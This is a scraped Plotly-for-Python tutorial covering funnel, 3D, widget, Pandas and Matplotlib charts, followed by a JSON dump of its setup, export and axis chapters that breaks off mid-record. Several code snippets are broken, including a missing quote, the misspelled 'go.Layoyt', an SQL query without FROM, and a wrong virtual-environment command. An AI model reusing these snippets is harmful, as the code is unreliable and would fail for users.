= [60, 80, 0, -40, -20, 0] trace = go.Waterfall( x = s1, y = s2, base = 200, measure = [ "relative", "relative", "total", "relative", "relative", "total" ] ) data = [trace] fig = go.Figure(data = data) iplot(fig) Below mentioned output is a result of the code given above. Funnel charts represent data in different stages of a business process. It is an important mechanism in Business Intelligence to identify potential problem areas of a process. Funnel chart is used to visualize how data reduces progressively as it passes from one phase to another. Data in each of these phases is represented as different portions of 100% (the whole). Like the Pie chart, the Funnel chart does not use any axes either. It can also be treated as similar to a stacked percent bar chart. Any funnel consists of the higher part called head (or base) and the lower part referred to as neck. The most common use of the Funnel chart is in visualizing sales conversion data. Plotly's go.Funnel() function produces Funnel trace. Essential attributes to be provided to this function are x and y. Each of them is assigned a Python list of items or an array. from plotly import graph_objects as go fig = go.Figure( go.Funnel( y = [ "Website visit", "Downloads", "Potential customers", "Requested price", "invoice sent" ], x = [39, 27.4, 20.6, 11, 2] ) ) fig.show() The output is as given below − This chapter will give information about the three-dimensional (3D) Scatter Plot and 3D Surface Plot and how to make them with the help of Plotly. A three-dimensional (3D) scatter plot is like a scatter plot, but with three variables - x, y, and z or f(x, y) are real numbers. The graph can be represented as dots in a three-dimensional Cartesian coordinate system. It is typically drawn on a two-dimensional page or screen using perspective methods (isometric or perspective), so that one of the dimensions appears to be coming out of the page. 3D scatter plots are used to plot data points on three axes in an attempt to show the relationship between three variables. Each row in the data table is represented by a marker whose position depends on its values in the columns set on the X, Y, and Z axes. A fourth variable can be set to correspond to the color or size of the markers, thus, adding yet another dimension to the plot. The relationship between different variables is called correlation. A Scatter3D trace is a graph object returned by go.Scatter3D() function. Mandatory arguments to this function are x, y and z each of them is a list or array object. For example − import plotly.graph_objs as go import numpy as np z = np.linspace(0, 10, 50) x = np.cos(z) y = np.sin(z) trace = go.Scatter3d( x = x, y = y, z = z,mode = 'markers', marker = dict( size = 12, color = z, # set color to an array/list of desired values colorscale = 'Viridis' ) ) layout = go.Layout(title = '3D Scatter plot') fig = go.Figure(data = [trace], layout = layout) iplot(fig) The output of the code is given below − Surface plots are diagrams of three-dimensional data. In a surface plot, each point is defined by 3 points: its latitude, longitude, and altitude (X, Y and Z). Rather than showing the individual data points, surface plots show a functional relationship between a designated dependent variable (Y), and two independent variables (X and Z). This plot is a companion plot to the contour plot. Here, is a Python script to render simple surface plot where y array is transpose of x and z is calculated as cos(x2+y2) import numpy as np x = np.outer(np.linspace(-2, 2, 30), np.ones(30)) y = x.copy().T # transpose z = np.cos(x ** 2 + y ** 2) trace = go.Surface(x = x, y = y, z =z ) data = [trace] layout = go.Layout(title = '3D Surface plot') fig = go.Figure(data = data) iplot(fig) Below mentioned is the output of the code which is explained above − Plotly provides high degree of interactivity by use of different controls on the plotting area – such as buttons, dropdowns and sliders etc. These controls are incorporated with updatemenu attribute of the plot layout. You can add button and its behaviour by specifying the method to be called. There are four possible methods that can be associated with a button as follows − restyle − modify data or data attributes restyle − modify data or data attributes relayout − modify layout attributes relayout − modify layout attributes update − modify data and layout attributes update − modify data and layout attributes animate − start or pause an animation animate − start or pause an animation The restyle method should be used when modifying the data and data attributes of the graph. In the following example, two buttons are added by Updatemenu() method to the layout with restyle method. go.layout.Updatemenu( type = "buttons", direction = "left", buttons = list([ dict(args = ["type", "box"], label = "Box", method = "restyle"), dict(args = ["type", "violin"], label = "Violin", method = "restyle" )] )) Value of type property is buttons by default. To render a dropdown list of buttons, change type to dropdown. A Box trace added to Figure object before updating its layout as above. The complete code that renders boxplot and violin plot depending on button clicked, is as follows − import plotly.graph_objs as go fig = go.Figure() fig.add_trace(go.Box(y = [1140,1460,489,594,502,508,370,200])) fig.layout.update( updatemenus = [ go.layout.Updatemenu( type = "buttons", direction = "left", buttons=list( [ dict(args = ["type", "box"], label = "Box", method = "restyle"), dict(args = ["type", "violin"], label = "Violin", method = "restyle") ] ), pad = {"r": 2, "t": 2}, showactive = True, x = 0.11, xanchor = "left", y = 1.1, yanchor = "top" ), ] ) iplot(fig) The output of the code is given below − Click on Violin button to display corresponding Violin plot. As mentioned above, value of type key in Updatemenu() method is assigned dropdown to display dropdown list of buttons. The plot appears as below − The update method should be used when modifying the data and layout sections of the graph. Following example demonstrates how to update and which traces are displayed while simultaneously updating layout attributes, such as, the chart title. Two Scatter traces corresponding to sine and cos wave are added to Figure object. The trace with visible attribute as True will be displayed on the plot and other traces will be hidden. import numpy as np import math #needed for definition of pi xpoints = np.arange(0, math.pi*2, 0.05) y1 = np.sin(xpoints) y2 = np.cos(xpoints) fig = go.Figure() # Add Traces fig.add_trace( go.Scatter( x = xpoints, y = y1, name = 'Sine' ) ) fig.add_trace( go.Scatter( x = xpoints, y = y2, name = 'cos' ) ) fig.layout.update( updatemenus = [ go.layout.Updatemenu( type = "buttons", direction = "right", active = 0, x = 0.1, y = 1.2, buttons = list( [ dict( label = "first", method = "update", args = [{"visible": [True, False]},{"title": "Sine"} ] ), dict( label = "second", method = "update", args = [{"visible": [False, True]},{"title": Cos"}] ) ] ) ) ] ) iplot(fig) Initially, Sine curve will be displayed. If clicked on second button, cos trace appears. Note that chart title also updates accordingly. In order to use animate method, we need to add one or more Frames to the Figure object. Along with data and layout, frames can be added as a key in a figure object. The frames key points to a list of figures, each of which will be cycled through when animation is triggered. You can add, play and pause buttons to introduce animation in chart by adding an updatemenus array to the layout. "updatemenus": [{ "type": "buttons", "buttons": [{ "label": "Your Label", "method": "animate", "args": [frames] }] }] In the following example, a scatter curve trace is first plotted. Then add frames which is a list of 50 Frame objects, each representing a red marker on the curve. Note that the args attribute of button is set to None, due to which all frames are animated. import numpy as np t = np.linspace(-1, 1, 100) x = t + t ** 2 y = t - t ** 2 xm = np.min(x) - 1.5 xM = np.max(x) + 1.5 ym = np.min(y) - 1.5 yM = np.max(y) + 1.5 N = 50 s = np.linspace(-1, 1, N) #s = np.arange(0, math.pi*2, 0.1) xx = s + s ** 2 yy = s - s ** 2 fig = go.Figure( data = [ go.Scatter(x = x, y = y, mode = "lines", line = dict(width = 2, color = "blue")), go.Scatter(x = x, y = y, mode = "lines", line = dict(width = 2, color = "blue")) ], layout = go.Layout( xaxis=dict(range=[xm, xM], autorange=False, zeroline=False), yaxis=dict(range=[ym, yM], autorange=False, zeroline=False), title_text="Moving marker on curve", updatemenus=[ dict(type="buttons", buttons=[dict(label="Play", method="animate", args=[None])]) ] ), frames = [go.Frame( data = [ go.Scatter( x = [xx[k]], y = [yy[k]], mode = "markers", marker = dict( color = "red", size = 10 ) ) ] ) for k in range(N)] ) iplot(fig) The output of the code is stated below − The red marker will start moving along the curve on clicking play button. Plotly has a convenient Slider that can be used to change the view of data/style of a plot by sliding a knob on the control which is placed at the bottom of rendered plot. Slider control is made up of different properties which are as follows − steps property is required for defining sliding positions of knob over the control. steps property is required for defining sliding positions of knob over the control. method property is having possible values as restyle | relayout | animate | update | skip, default is restyle. method property is having possible values as restyle | relayout | animate | update | skip, default is restyle. args property sets the arguments values to be passed to the Plotly method set in method on slide. args property sets the arguments values to be passed to the Plotly method set in method on slide. We now deploy a simple slider control on a scatter plot which will vary the frequency of sine wave as the knob slides along the control. The slider is configured to have 50 steps. First add 50 traces of sine wave curve with incrementing frequency, all but 10th trace set to visible. Then, we configure each step with restyle method. For each step, all other step objects have visibility set to false. Finally, update Figure objectâ€TMs layout by initializing sliders property. # Add traces, one for each slider step for step in np.arange(0, 5, 0.1): fig.add_trace( go.Scatter( visible = False, line = dict(color = "blue", width = 2), name = "𝜈 = " + str(step), x = np.arange(0, 10, 0.01), y = np.sin(step * np.arange(0, 10, 0.01)) ) ) fig.data[10].visible=True # Create and add slider steps = [] for i in range(len(fig.data)): step = dict( method = "restyle", args = ["visible", [False] * len(fig.data)], ) step["args"][1][i] = True # Toggle i'th trace to "visible" steps.append(step) sliders = [dict(active = 10, steps = steps)] fig.layout.update(sliders=sliders) iplot(fig) To begin with, 10th sine wave trace will be visible. Try sliding the knob across the horizontal control at the bottom. You will see the frequency changing as shown below. Plotly 3.0.0 introduces a new Jupyter widget class: plotly.graph_objs.FigureWidget. It has the same call signature as our existing Figure, and it is made specifically for Jupyter Notebook and JupyterLab environments. The go.FigureWiget() function returns an empty FigureWidget object with default x and y axes. f = go.FigureWidget() iplot(f) Given below is the output of the code − Most important feature of FigureWidget is the resulting Plotly figure and it is dynamically updatable as we go on adding data and other layout attributes to it. For example, add following graph traces one by one and see the original empty figure dynamically updated. That means we don’t have to call iplot() function again and again as the plot is refreshed automatically. Final appearance of the FigureWidget is as shown below − f.add_scatter(y = [2, 1, 4, 3]); f.add_bar(y = [1, 4, 3, 2]); f.layout.title = 'Hello FigureWidget' This widget is capable of event listeners for hovering, clicking, and selecting points and zooming into regions. In following example, the FigureWidget is programmed to respond to click event on plot area. The widget itself contains a simple scatter plot with markers. The mouse click location is marked with different color and size. x = np.random.rand(100) y = np.random.rand(100) f = go.FigureWidget([go.Scatter(x=x, y=y, mode='markers')]) scatter = f.data[0] colors = ['#a3a7e4'] * 100 scatter.marker.color = colors scatter.marker.size = [10] * 100 f.layout.hovermode = 'closest' def update_point(trace, points, selector): c = list(scatter.marker.color) s = list(scatter.marker.size) for i in points.point_inds: c[i] = 'red' s[i] = 20 scatter.marker.color = c scatter.marker.size = s scatter.on_click(update_point) f Run above code in Jupyter notebook. A scatter plot is displayed. Click on a location in the area which will be markd with red colour. Plotly’s FigureWidget object can also make use of Ipython’s own widgets. Here, we use interact control as defined in ipwidgets module. We first construct a FigureWidget and add an empty scatter plot. from ipywidgets import interact fig = go.FigureWidget() scatt = fig.add_scatter() fig We now define an update function that inputs the frequency and phase and sets the x and y properties of the scatter trace defined above. The @interact decorator from ipywidgets module is used to create a simple set of widgets to control the parameters of a plot. The update function is decorated with @interact decorator from the ipywidgets package. The decorator parameters are used to specify the ranges of parameters that we want to sweep over. xs = np.linspace(0, 6, 100) @interact(a = (1.0, 4.0, 0.01), b = (0, 10.0, 0.01), color = ['red', 'green', 'blue']) def update(a = 3.6, b = 4.3, color = 'blue'): with fig.batch_update(): scatt.x = xs scatt.y = np.sin(a*xs-b) scatt.line.color = color Empty FigureWidget is now populated in blue colour with sine curve a and b as 3.6 and 4.3 respectively. Below the current notebook cell, you will get a group of sliders for selecting values of a and b. There is also a dropdown to select the trace color. These parameters are defined in @interact decorator. Pandas is a very popular library in Python for data analysis. It also has its own plot function support. However, Pandas plots don't provide interactivity in visualization. Thankfully, plotly's interactive and dynamic plots can be built using Pandas dataframe objects. We start by building a Dataframe from simple list objects. data = [['Ravi',21,67],['Kiran',24,61],['Anita',18,46],['Smita',20,78],['Sunil',17,90]] df = pd.DataFrame(data,columns = ['name','age','marks'],dtype = float) The dataframe columns are used as data values for x and y properties of graph object traces. Here, we will generate a bar trace using name and marks columns. trace = go.Bar(x = df.name, y = df.marks) fig = go.Figure(data = [trace]) iplot(fig) A simple bar plot will be displayed in Jupyter notebook as below − Plotly is built on top of d3.js and is specifically a charting library which can be used directly with Pandas dataframes using another library named Cufflinks. If not already available, install cufflinks package by using your favourite package manager like pip as given below − pip install cufflinks or conda install -c conda-forge cufflinks-py First, import cufflinks along with other libraries such as Pandas and numpy which can configure it for offline use. import cufflinks as cf cf.go_offline() Now, you can directly use Pandas dataframe to display various kinds of plots without having to use trace and figure objects from graph_objs module as we have been doing previously. df.iplot(kind = 'bar', x = 'name', y = 'marks') Bar plot, very similar to earlier one will be displayed as given below − Instead of using Python lists for constructing dataframe, it can be populated by data in different types of databases. For example, data from a CSV file, SQLite database table or mysql database table can be fetched into a Pandas dataframe, which eventually is subjected to plotly graphs using Figure object or Cufflinks interface. To fetch data from CSV file, we can use read_csv() function from Pandas library. import pandas as pd df = pd.read_csv('sample-data.csv') If data is available in SQLite database table, it can be retrieved using SQLAlchemy library as follows − import pandas as pd from sqlalchemy import create_engine disk_engine = create_engine('sqlite:///mydb.db') df = pd.read_sql_query('SELECT name,age,marks', disk_engine) On the other hand, data from MySQL database is retrieved in a Pandas dataframe as follows − import pymysql import pandas as pd conn = pymysql.connect(host = "localhost", user = "root", passwd = "xxxx", db = "mydb") cursor = conn.cursor() cursor.execute('select name,age,marks') rows = cursor.fetchall() df = pd.DataFrame( [[ij for ij in i] for i in rows] ) df.rename(columns = {0: 'Name', 1: 'age', 2: 'marks'}, inplace = True) This chapter deals with data visualization library titled Matplotlib and online plot maker named Chart Studio. Matplotlib is a popular Python data visualization library capable of producing production-ready but static plots. you can convert your static matplotlib figures into interactive plots with the help of mpl_to_plotly() function in plotly.tools module. Following script produces a Sine wave Line plot using Matplotlib’s PyPlot API. from matplotlib import pyplot as plt import numpy as np import math #needed for definition of pi x = np.arange(0, math.pi*2, 0.05) y = np.sin(x) plt.plot(x,y) plt.xlabel("angle") plt.ylabel("sine") plt.title('sine wave') plt.show() Now we shall convert it into a plotly figure as follows − fig = plt.gcf() plotly_fig = tls.mpl_to_plotly(fig) py.iplot(plotly_fig) The output of the code is as given below − Chart Studio is an online plot maker tool made available by Plotly. It provides a graphical user interface for importing and analyzing data into a grid and using stats tools. Graphs can be embedded or downloaded. It is mainly used to enable creating graphs faster and more efficiently. After logging in to plotly’s account, start the chart studio app by visiting the link https://plot.ly/create. The web page offers a blank work sheet below the plot area. Chart Studio lets you to add plot traces by pushing + trace button. Various plot structure elements such as annotations, style etc. as well as facility to save, export and share the plots is available in the menu. Let us add data in the worksheet and add choose bar plot trace from the trace types. Click in the type text box and select bar plot. Then, provide data columns for x and y axes and enter plot title.
[ { "code": null, "e": 2815, "s": 2494, "text": "Plotly is a Montreal based technical computing company involved in development of data analytics and visualisation tools such as Dash and Chart Studio. It has also developed open source graphing Application Programming Interface (API) libraries for Python, R, MATLAB, Javascript and other computer programming languages." }, { "code": null, "e": 2873, "s": 2815, "text": "Some of the important features of Plotly are as follows −" }, { "code": null, "e": 2905, "s": 2873, "text": "It produces interactive graphs." }, { "code": null, "e": 2937, "s": 2905, "text": "It produces interactive graphs." }, { "code": null, "e": 3108, "s": 2937, "text": "The graphs are stored in JavaScript Object Notation (JSON) data format so that they can be read using scripts of other programming languages such as R, Julia, MATLAB etc." }, { "code": null, "e": 3279, "s": 3108, "text": "The graphs are stored in JavaScript Object Notation (JSON) data format so that they can be read using scripts of other programming languages such as R, Julia, MATLAB etc." }, { "code": null, "e": 3352, "s": 3279, "text": "Graphs can be exported in various raster as well as vector image formats" }, { "code": null, "e": 3425, "s": 3352, "text": "Graphs can be exported in various raster as well as vector image formats" }, { "code": null, "e": 3520, "s": 3425, "text": "This chapter focusses on how to do the environmental set up in Python with the help of Plotly." }, { "code": null, "e": 3697, "s": 3520, "text": "It is always recommended to use Python’s virtual environment feature for installation of a new package. Following command creates a virtual environment in the specified folder." }, { "code": null, "e": 3714, "s": 3697, "text": "python -m myenv\n" }, { "code": null, "e": 3815, "s": 3714, "text": "To activate the so created virtual environment run activate script in bin sub folder as shown below." }, { "code": null, "e": 3836, "s": 3815, "text": "source bin/activate\n" }, { "code": null, "e": 3913, "s": 3836, "text": "Now we can install plotly’s Python package as given below using pip utility." }, { "code": null, "e": 3933, "s": 3913, "text": "pip install plotly\n" }, { "code": null, "e": 4038, "s": 3933, "text": "You may also want to install Jupyter notebook app which is a web based interface to Ipython interpreter." }, { "code": null, "e": 4068, "s": 4038, "text": "pip install jupyter notebook\n" }, { "code": null, "e": 4267, "s": 4068, "text": "Firstly, you need to create an account on website which is available at https://plot.ly. You can sign up by using the link mentioned herewith https://plot.ly/api_signup and then log in successfully." }, { "code": null, "e": 4330, "s": 4267, "text": "Next, obtain the API key from settings page of your dashboard." }, { "code": null, "e": 4413, "s": 4330, "text": "Use your username and API key to set up credentials on Python interpreter session." }, { "code": null, "e": 4512, "s": 4413, "text": "import plotly\nplotly.tools.set_credentials_file(username='test', \napi_key='********************')\n" }, { "code": null, "e": 4640, "s": 4512, "text": "A special file named credentials is created in .plotly subfolder under your home directory. It looks similar to the following −" }, { "code": null, "e": 4775, "s": 4640, "text": "{\n \"username\": \"test\",\n \"api_key\": \"********************\",\n \"proxy_username\": \"\",\n \"proxy_password\": \"\",\n \"stream_ids\": []\n}" }, { "code": null, "e": 4864, "s": 4775, "text": "In order to generate plots, we need to import the following module from plotly package −" }, { "code": null, "e": 4923, "s": 4864, "text": "import plotly.plotly as py\nimport plotly.graph_objs as go\n" }, { "code": null, "e": 5084, "s": 4923, "text": "plotly.plotly module contains the functions that will help us communicate with the Plotly servers. Functions in plotly.graph_objs module generates graph objects" }, { "code": null, "e": 5220, "s": 5084, "text": "The following chapter deals with the settings for the online and offline plotting. Let us first study the settings for online plotting." }, { "code": null, "e": 5409, "s": 5220, "text": "Data and graph of online plot are save in your plot.ly account. Online plots are generated by two methods both of which create a unique url for the plot and save it in your Plotly account." }, { "code": null, "e": 5474, "s": 5409, "text": "py.plot() − returns the unique url and optionally open the url." }, { "code": null, "e": 5539, "s": 5474, "text": "py.plot() − returns the unique url and optionally open the url." }, { "code": null, "e": 5624, "s": 5539, "text": "py.iplot() − when working in a Jupyter Notebook to display the plot in the notebook." }, { "code": null, "e": 5709, "s": 5624, "text": "py.iplot() − when working in a Jupyter Notebook to display the plot in the notebook." }, { "code": null, "e": 6059, "s": 5709, "text": "We shall now display simple plot of angle in radians vs. its sine value. First, obtain ndarray object of angles between 0 and 2π using arange() function from numpy library. This ndarray object serves as values on x axis of the graph. Corresponding sine values of angles in x which has to be displayed on y axis are obtained by following statements −" }, { "code": null, "e": 6185, "s": 6059, "text": "import numpy as np\nimport math #needed for definition of pi\nxpoints = np.arange(0, math.pi*2, 0.05)\nypoints = np.sin(xpoints)" }, { "code": null, "e": 6261, "s": 6185, "text": "Next, create a scatter trace using Scatter() function in graph_objs module." }, { "code": null, "e": 6331, "s": 6261, "text": "trace0 = go.Scatter(\n x = xpoints,\n y = ypoints\n)\ndata = [trace0]" }, { "code": null, "e": 6385, "s": 6331, "text": "Use above list object as argument to plot() function." }, { "code": null, "e": 6440, "s": 6385, "text": "py.plot(data, filename = 'Sine wave', auto_open=True)\n" }, { "code": null, "e": 6476, "s": 6440, "text": "Save following script as plotly1.py" }, { "code": null, "e": 6882, "s": 6476, "text": "import plotly\nplotly.tools.set_credentials_file(username='lathkar', api_key='********************')\nimport plotly.plotly as py\nimport plotly.graph_objs as go\nimport numpy as np\nimport math #needed for definition of pi\n\nxpoints = np.arange(0, math.pi*2, 0.05)\nypoints = np.sin(xpoints)\ntrace0 = go.Scatter(\n x = xpoints, y = ypoints\n)\ndata = [trace0]\npy.plot(data, filename = 'Sine wave', auto_open=True)" }, { "code": null, "e": 7018, "s": 6882, "text": "Execute the above mentioned script from command line. Resultant plot will be displayed in the browser at specified URL as stated below." }, { "code": null, "e": 7171, "s": 7018, "text": "$ python plotly1.py\nHigh five! You successfully sent some data to your account on plotly. \nView your plot in your browser at https://plot.ly/~lathkar/0\n" }, { "code": null, "e": 7265, "s": 7171, "text": "Just above the displayed graph, you will find tabs Plot, Data, Python & Rand Forking history." }, { "code": null, "e": 7528, "s": 7265, "text": "Currently, Plot tab is selected. The Data tab shows a grid containing x and y data points. From Python & R tab, you can view code corresponding to current plot in Python, R, JSON, Matlab etc. Following snapshot shows Python code for the plot as generated above −" }, { "code": null, "e": 7724, "s": 7528, "text": "Plotly allows you to generate graphs offline and save them in local machine. The plotly.offline.plot() function creates a standalone HTML that is saved locally and opened inside your web browser." }, { "code": null, "e": 7831, "s": 7724, "text": "Use plotly.offline.iplot() when working offline in a Jupyter Notebook to display the plot in the notebook." }, { "code": null, "e": 7894, "s": 7831, "text": "Note − Plotly's version 1.9.4+ is needed for offline plotting." }, { "code": null, "e": 8034, "s": 7894, "text": "Change plot() function statement in the script and run. A HTML file named temp-plot.html will be created locally and opened in web browser." }, { "code": null, "e": 8137, "s": 8034, "text": "plotly.offline.plot(\n { \"data\": data,\"layout\": go.Layout(title = \"hello world\")}, auto_open = True)\n" }, { "code": null, "e": 8221, "s": 8137, "text": "In this chapter, we will study how to do inline plotting with the Jupyter Notebook." }, { "code": null, "e": 8328, "s": 8221, "text": "In order to display the plot inside the notebook, you need to initiate plotly’s notebook mode as follows −" }, { "code": null, "e": 8412, "s": 8328, "text": "from plotly.offline import init_notebook_mode\ninit_notebook_mode(connected = True)\n" }, { "code": null, "e": 8556, "s": 8412, "text": "Keep rest of the script as it is and run the notebook cell by pressing Shift+Enter. Graph will be displayed offline inside the notebook itself." }, { "code": null, "e": 9059, "s": 8556, "text": "import plotly\nplotly.tools.set_credentials_file(username = 'lathkar', api_key = '************')\nfrom plotly.offline import iplot, init_notebook_mode\ninit_notebook_mode(connected = True)\n\nimport plotly\nimport plotly.graph_objs as go\nimport numpy as np\nimport math #needed for definition of pi\n\nxpoints = np.arange(0, math.pi*2, 0.05)\nypoints = np.sin(xpoints)\ntrace0 = go.Scatter(\n x = xpoints, y = ypoints\n)\ndata = [trace0]\nplotly.offline.iplot({ \"data\": data,\"layout\": go.Layout(title=\"Sine wave\")})" }, { "code": null, "e": 9108, "s": 9059, "text": "Jupyter notebook output will be as shown below −" }, { "code": null, "e": 9246, "s": 9108, "text": "The plot output shows a tool bar at top right. It contains buttons for download as png, zoom in and out, box and lasso, select and hover." }, { "code": null, "e": 9315, "s": 9246, "text": "Plotly Python package has three main modules which are given below −" }, { "code": null, "e": 9329, "s": 9315, "text": "plotly.plotly" }, { "code": null, "e": 9347, "s": 9329, "text": "plotly.graph_objs" }, { "code": null, "e": 9360, "s": 9347, "text": "plotly.tools" }, { "code": null, "e": 9529, "s": 9360, "text": "The plotly.plotly module contains functions that require a response from Plotly's servers. Functions in this module are interface between your local machine and Plotly." }, { "code": null, "e": 9716, "s": 9529, "text": "The plotly.graph_objs module is the most important module that contains all of the class definitions for the objects that make up the plots you see. Following graph objects are defined −" }, { "code": null, "e": 9724, "s": 9716, "text": "Figure," }, { "code": null, "e": 9730, "s": 9724, "text": "Data," }, { "code": null, "e": 9737, "s": 9730, "text": "ayout," }, { "code": null, "e": 9794, "s": 9737, "text": "Different graph traces like Scatter, Box, Histogram etc." }, { "code": null, "e": 9913, "s": 9794, "text": "All graph objects are dictionary- and list-like objects used to generate and/or modify every feature of a Plotly plot." }, { "code": null, "e": 10165, "s": 9913, "text": "The plotly.tools module contains many helpful functions facilitating and enhancing the Plotly experience. Functions for subplot generation, embedding Plotly plots in IPython notebooks, saving and retrieving your credentials are defined in this module." }, { "code": null, "e": 10317, "s": 10165, "text": "A plot is represented by Figure object which represents Figure class defined in plotly.graph_objs module. It’s constructor needs following parameters −" }, { "code": null, "e": 10387, "s": 10317, "text": "import plotly.graph_objs as go\nfig = go.Figure(data, layout, frames)\n" }, { "code": null, "e": 10663, "s": 10387, "text": "The data parameter is a list object in Python. It is a list of all the traces that you wish to plot. A trace is just the name we give to a collection of data which is to be plotted. A trace object is named according to how you want the data displayed on the plotting surface." }, { "code": null, "e": 10864, "s": 10663, "text": "Plotly provides number of trace objects such as scatter, bar, pie, heatmap etc. and each is returned by respective functions in graph_objs functions. For example: go.scatter() returns a scatter trace." }, { "code": null, "e": 11055, "s": 10864, "text": "import numpy as np\nimport math #needed for definition of pi\n\nxpoints=np.arange(0, math.pi*2, 0.05)\nypoints=np.sin(xpoints)\n\ntrace0 = go.Scatter(\n x = xpoints, y = ypoints\n)\ndata = [trace0]" }, { "code": null, "e": 11306, "s": 11055, "text": "The layout parameter defines the appearance of the plot, and plot features which are unrelated to the data. So we will be able to change things like the title, axis titles, annotations, legends, spacing, font and even draw shapes on top of your plot." }, { "code": null, "e": 11400, "s": 11306, "text": "layout = go.Layout(title = \"Sine wave\", xaxis = {'title':'angle'}, yaxis = {'title':'sine'})\n" }, { "code": null, "e": 11511, "s": 11400, "text": "A plot can have plot title as well as axis title. It also may have annotations to indicate other descriptions." }, { "code": null, "e": 11708, "s": 11511, "text": "Finally, there is a Figure object created by go.Figure() function. It is a dictionary-like object that contains both the data object and the layout object. The figure object is eventually plotted." }, { "code": null, "e": 11723, "s": 11708, "text": "py.iplot(fig)\n" }, { "code": null, "e": 11882, "s": 11723, "text": "Outputs of offline graphs can be exported to various raster and vector image formats. For that purpose, we need to install two dependencies – orca and psutil." }, { "code": null, "e": 12096, "s": 11882, "text": "Orca stands for Open-source Report Creator App. It is an Electron app that generates images and reports of plotly graphs, dash apps, dashboards from the command line. Orca is the backbone of Plotly's Image Server." }, { "code": null, "e": 12445, "s": 12096, "text": "psutil (python system and process utilities) is a cross-platform library for retrieving information on running processes and system utilization in Python. It implements many functionalities offered by UNIX command line tools such as: ps, top, netstat, ifconfig, who, etc. psutil supports all major operating systems such as Linux, Windows and MacOs" }, { "code": null, "e": 12585, "s": 12445, "text": "If you are using Anaconda distribution of Python, installation of orca and psutil is very easily done by conda package manager as follows −" }, { "code": null, "e": 12629, "s": 12585, "text": "conda install -c plotly plotly-orca psutil\n" }, { "code": null, "e": 12725, "s": 12629, "text": "Since, orca is not available in PyPi repository. You can instead use npm utility to install it." }, { "code": null, "e": 12761, "s": 12725, "text": "npm install -g [email protected] orca\n" }, { "code": null, "e": 12787, "s": 12761, "text": "Use pip to install psutil" }, { "code": null, "e": 12807, "s": 12787, "text": "pip install psutil\n" }, { "code": null, "e": 12987, "s": 12807, "text": "If you are not able to use npm or conda, prebuilt binaries of orca can also be downloaded from the following website which is available at https://github.com/plotly/orca/releases." }, { "code": null, "e": 13070, "s": 12987, "text": "To export Figure object to png, jpg or WebP format, first, import plotly.io module" }, { "code": null, "e": 13095, "s": 13070, "text": "import plotly.io as pio\n" }, { "code": null, "e": 13148, "s": 13095, "text": "Now, we can call write_image() function as follows −" }, { "code": null, "e": 13260, "s": 13148, "text": "pio.write_image(fig, ‘sinewave.png’)\npio.write_image(fig, ‘sinewave.jpeg’)\npio.write_image(fig,’sinewave.webp)\n" }, { "code": null, "e": 13334, "s": 13260, "text": "The orca tool also supports exporting plotly to svg, pdf and eps formats." }, { "code": null, "e": 13409, "s": 13334, "text": "Pio.write_image(fig, ‘sinewave.svg’)\npio.write_image(fig, ‘sinewave.pdf’)\n" }, { "code": null, "e": 13520, "s": 13409, "text": "In Jupyter notebook, the image object obtained by pio.to_image() function can be displayed inline as follows −" }, { "code": null, "e": 13719, "s": 13520, "text": "By default, Plotly chart with multiple traces shows legends automatically. If it has only one trace, it is not displayed automatically. To display, set showlegend parameter of Layout object to True." }, { "code": null, "e": 13758, "s": 13719, "text": "layout = go.Layoyt(showlegend = True)\n" }, { "code": null, "e": 13867, "s": 13758, "text": "Default labels of legends are trace object names. To set legend label explicitly set name property of trace." }, { "code": null, "e": 13940, "s": 13867, "text": "In following example, two scatter traces with name property are plotted." }, { "code": null, "e": 14392, "s": 13940, "text": "import numpy as np\nimport math #needed for definition of pi\n\nxpoints = np.arange(0, math.pi*2, 0.05)\ny1 = np.sin(xpoints)\ny2 = np.cos(xpoints)\ntrace0 = go.Scatter(\n x = xpoints,\n y = y1,\n name='Sine'\n)\ntrace1 = go.Scatter(\n x = xpoints,\n y = y2,\n name = 'cos'\n)\ndata = [trace0, trace1]\nlayout = go.Layout(title = \"Sine and cos\", xaxis = {'title':'angle'}, yaxis = {'title':'value'})\nfig = go.Figure(data = data, layout = layout)\niplot(fig)" }, { "code": null, "e": 14420, "s": 14392, "text": "The plot appears as below −" }, { "code": null, "e": 14614, "s": 14420, "text": "You can configure appearance of each axis by specifying the line width and color. It is also possible to define grid width and grid color. Let us learn about the same in detail in this chapter." }, { "code": null, "e": 14963, "s": 14614, "text": "In the Layout object’s properties, setting showticklabels to true will enable ticks. The tickfont property is a dict object specifying font name, size, color, etc. The tickmode property can have two possible values — linear and array. If it is linear, the position of starting tick is determined by tick0 and step between ticks by dtick properties." }, { "code": null, "e": 15074, "s": 14963, "text": "If tickmode is set to array, you have to provide list of values and labels as tickval and ticktext properties." }, { "code": null, "e": 15253, "s": 15074, "text": "The Layout object also has Exponentformat attribute set to ‘e’ will cause tick values to be displayed in scientific notation. You also need to set showexponent property to ‘all’." }, { "code": null, "e": 15411, "s": 15253, "text": "We now format the Layout object in above example to configure x and y axis by specifying line, grid and title font properties and tick mode, values and font." }, { "code": null, "e": 16246, "s": 15411, "text": "layout = go.Layout(\n title = \"Sine and cos\",\n xaxis = dict(\n title = 'angle',\n showgrid = True,\n zeroline = True,\n showline = True,\n showticklabels = True,\n gridwidth = 1\n ),\n yaxis = dict(\n showgrid = True,\n zeroline = True,\n showline = True,\n gridcolor = '#bdbdbd',\n gridwidth = 2,\n zerolinecolor = '#969696',\n zerolinewidth = 2,\n linecolor = '#636363',\n linewidth = 2,\n title = 'VALUE',\n titlefont = dict(\n family = 'Arial, sans-serif',\n size = 18,\n color = 'lightgrey'\n ),\n showticklabels = True,\n tickangle = 45,\n tickfont = dict(\n family = 'Old Standard TT, serif',\n size = 14,\n color = 'black'\n ),\n tickmode = 'linear',\n tick0 = 0.0,\n dtick = 0.25\n )\n)\n" }, { "code": null, "e": 16529, "s": 16246, "text": "Sometimes it is useful to have dual x or y axes in a figure; for example, when plotting curves with different units together. Matplotlib supports this with the twinx and twiny functions. In the following example, the plot has dual y axes, one showing exp(x) and other showing log(x)" }, { "code": null, "e": 17066, "s": 16529, "text": "x = np.arange(1,11)\ny1 = np.exp(x)\ny2 = np.log(x)\ntrace1 = go.Scatter(\n x = x,\n y = y1,\n name = 'exp'\n)\ntrace2 = go.Scatter(\n x = x,\n y = y2,\n name = 'log',\n yaxis = 'y2'\n)\ndata = [trace1, trace2]\nlayout = go.Layout(\n title = 'Double Y Axis Example',\n yaxis = dict(\n title = 'exp',zeroline=True,\n showline = True\n ),\n yaxis2 = dict(\n title = 'log',\n zeroline = True,\n showline = True,\n overlaying = 'y',\n side = 'right'\n )\n)\nfig = go.Figure(data=data, layout=layout)\niplot(fig)" }, { "code": null, "e": 17195, 